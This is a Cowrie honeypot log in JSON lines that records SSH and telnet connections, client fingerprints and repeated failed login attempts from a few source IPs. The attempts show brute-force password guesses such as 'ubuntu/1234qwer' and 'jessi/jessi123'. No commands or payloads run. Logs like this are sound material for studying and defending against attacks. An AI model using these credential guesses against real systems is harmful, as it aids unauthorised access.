{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:40.528569Z","src_ip":"2.57.122.208","session":"bfd94f3f1e6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:41.726887Z","src_ip":"2.57.122.208","session":"bfd94f3f1e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:42.933099Z","src_ip":"2.57.122.208","session":"bfd94f3f1e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":40913,"dst_ip":"159.203.135.109","dst_port":22,"session":"4799bb2478b4","protocol":"ssh","message":"New connection: 213.209.159.56:40913 (159.203.135.109:22) [session: 4799bb2478b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:31:05.487900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:31:05.493271Z","src_ip":"213.209.159.56","session":"4799bb2478b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:31:05.576022Z","src_ip":"213.209.159.56","session":"4799bb2478b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessi","password":"jessi","message":"login attempt [jessi/jessi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:31:05.977426Z","src_ip":"213.209.159.56","session":"4799bb2478b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessi","password":"jessi1","message":"login attempt [jessi/jessi1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:31:07.063712Z","src_ip":"213.209.159.56","session":"4799bb2478b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessi","password":"jessi123","message":"login attempt [jessi/jessi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:31:08.149760Z","src_ip":"213.209.159.56","session":"4799bb2478b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessi","password":"jessi1234","message":"login attempt [jessi/jessi1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:31:09.235830Z","src_ip":"213.209.159.56","session":"4799bb2478b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessi","password":"jessi12345","message":"login attempt [jessi/jessi12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:31:10.321952Z","src_ip":"213.209.159.56","session":"4799bb2478b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:31:11.408015Z","src_ip":"213.209.159.56","session":"4799bb2478b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.54.70.80","src_port":2614,"dst_ip":"159.203.135.109","dst_port":23,"session":"793850d7ae31","protocol":"telnet","message":"New connection: 84.54.70.80:2614 (159.203.135.109:23) [session: 793850d7ae31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:31:37.975586Z"}
{"eventid":"cowrie.session.closed","duration":12.633699893951416,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:31:50.609206Z","src_ip":"84.54.70.80","session":"793850d7ae31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39976,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a16d28671c1","protocol":"ssh","message":"New connection: 2.57.122.208:39976 (159.203.135.109:22) [session: 9a16d28671c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:32:57.626132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:32:57.724048Z","src_ip":"2.57.122.208","session":"9a16d28671c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:32:57.945304Z","src_ip":"2.57.122.208","session":"9a16d28671c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:32:59.324620Z","src_ip":"2.57.122.208","session":"9a16d28671c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:33:00.600289Z","src_ip":"2.57.122.208","session":"9a16d28671c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44726,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad4c14460a79","protocol":"ssh","message":"New connection: 2.57.122.208:44726 (10.17.0.5:22) [session: ad4c14460a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:33:29.230572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:33:29.326358Z","src_ip":"2.57.122.208","session":"ad4c14460a79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:33:29.521284Z","src_ip":"2.57.122.208","session":"ad4c14460a79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:33:30.530025Z","src_ip":"2.57.122.208","session":"ad4c14460a79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:33:31.727926Z","src_ip":"2.57.122.208","session":"ad4c14460a79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":24670,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cb5c41de8fb","protocol":"ssh","message":"New connection: 2.57.121.25:24670 (10.17.0.5:22) [session: 7cb5c41de8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:34:10.061873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:34:10.067564Z","src_ip":"2.57.121.25","session":"7cb5c41de8fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:34:10.169729Z","src_ip":"2.57.121.25","session":"7cb5c41de8fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27091978","message":"login attempt [user/27091978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:34:10.649553Z","src_ip":"2.57.121.25","session":"7cb5c41de8fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27081992","message":"login attempt [user/27081992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:34:11.754016Z","src_ip":"2.57.121.25","session":"7cb5c41de8fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"270790","message":"login attempt [user/270790] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:34:12.858126Z","src_ip":"2.57.121.25","session":"7cb5c41de8fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"270789","message":"login attempt [user/270789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:34:13.963843Z","src_ip":"2.57.121.25","session":"7cb5c41de8fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"270784","message":"login attempt [user/270784] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:34:15.069972Z","src_ip":"2.57.121.25","session":"7cb5c41de8fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:34:16.175757Z","src_ip":"2.57.121.25","session":"7cb5c41de8fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.76.75.24","src_port":43621,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbf0159cd81a","protocol":"telnet","message":"New connection: 106.76.75.24:43621 (159.203.135.109:23) [session: bbf0159cd81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:35:32.964852Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50760,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b8953159abe","protocol":"ssh","message":"New connection: 2.57.122.208:50760 (159.203.135.109:22) [session: 0b8953159abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:35:39.425152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:35:39.430962Z","src_ip":"2.57.122.208","session":"0b8953159abe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:35:39.620606Z","src_ip":"2.57.122.208","session":"0b8953159abe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:35:40.259659Z","src_ip":"2.57.122.208","session":"0b8953159abe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:35:41.519351Z","src_ip":"2.57.122.208","session":"0b8953159abe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.477346181869507,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:35:45.442098Z","src_ip":"106.76.75.24","session":"bbf0159cd81a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47308,"dst_ip":"10.17.0.5","dst_port":22,"session":"52105e753d4b","protocol":"ssh","message":"New connection: 2.57.122.208:47308 (10.17.0.5:22) [session: 52105e753d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:36:10.247296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:36:10.422949Z","src_ip":"2.57.122.208","session":"52105e753d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:36:10.427148Z","src_ip":"2.57.122.208","session":"52105e753d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:36:11.228025Z","src_ip":"2.57.122.208","session":"52105e753d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:36:12.426125Z","src_ip":"2.57.122.208","session":"52105e753d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":42400,"dst_ip":"159.203.135.109","dst_port":22,"session":"491862d9bda9","protocol":"ssh","message":"New connection: 18.218.118.203:42400 (159.203.135.109:22) [session: 491862d9bda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:37:48.766474Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:37:48.771388Z","src_ip":"18.218.118.203","session":"491862d9bda9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:37:48.775592Z","src_ip":"18.218.118.203","session":"491862d9bda9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40618,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aabdd765ff0","protocol":"ssh","message":"New connection: 2.57.122.208:40618 (159.203.135.109:22) [session: 8aabdd765ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:15.937104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:38:16.117113Z","src_ip":"2.57.122.208","session":"8aabdd765ff0","protocol":"ssh"}
